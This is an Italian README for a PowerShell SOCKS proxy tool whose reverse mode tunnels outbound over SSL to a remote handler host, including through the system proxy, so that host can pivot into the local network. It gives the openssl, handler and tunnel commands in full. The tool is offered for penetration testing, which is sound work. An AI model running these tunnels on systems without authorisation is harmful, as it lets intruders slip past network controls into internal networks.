
Proxy SOCKS e server socks reverse usando PowerShell.
Crea un proxy Socks locale o "reverse" usando PowerShell.
Il proxy locale è un semplice proxy Socks 4/5.
Il proxy reverse crea un tunnel TCP avviando connessioni SSL in uscita che possono attraversare il proxy di sistema. Il tunnel può quindi essere usato come proxy socks sull'host remoto per fare pivoting nella rete dell'host locale.
Crea un proxy Socks 4/5 sulla porta 1080:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080
Aumenta il numero massimo di thread da 200 a 400
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -threads 400
Crea un proxy Socks 4/5 "reverse" sulla porta 1080 di un host remoto:
# Sull'host remoto:
# Genera una chiave privata e un certificato autofirmato
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
# Ottieni l'impronta digitale del certificato per verificarlo:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
# Avvia l'handler
python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
# Sull'host locale:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
# Attraversa il proxy di sistema:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
# Valida il certificato
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# Rinuncia dopo un certo numero di connessioni fallite all'handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
Crediti per il trucco del proxy di sistema: https://github.com/Arno0x/PowerShellScripts/blob/master/proxyTunnel.ps1
Questo progetto è destinato a ricercatori di sicurezza e penetration tester e dovrebbe essere utilizzato solo con l'approvazione dei proprietari del sistema.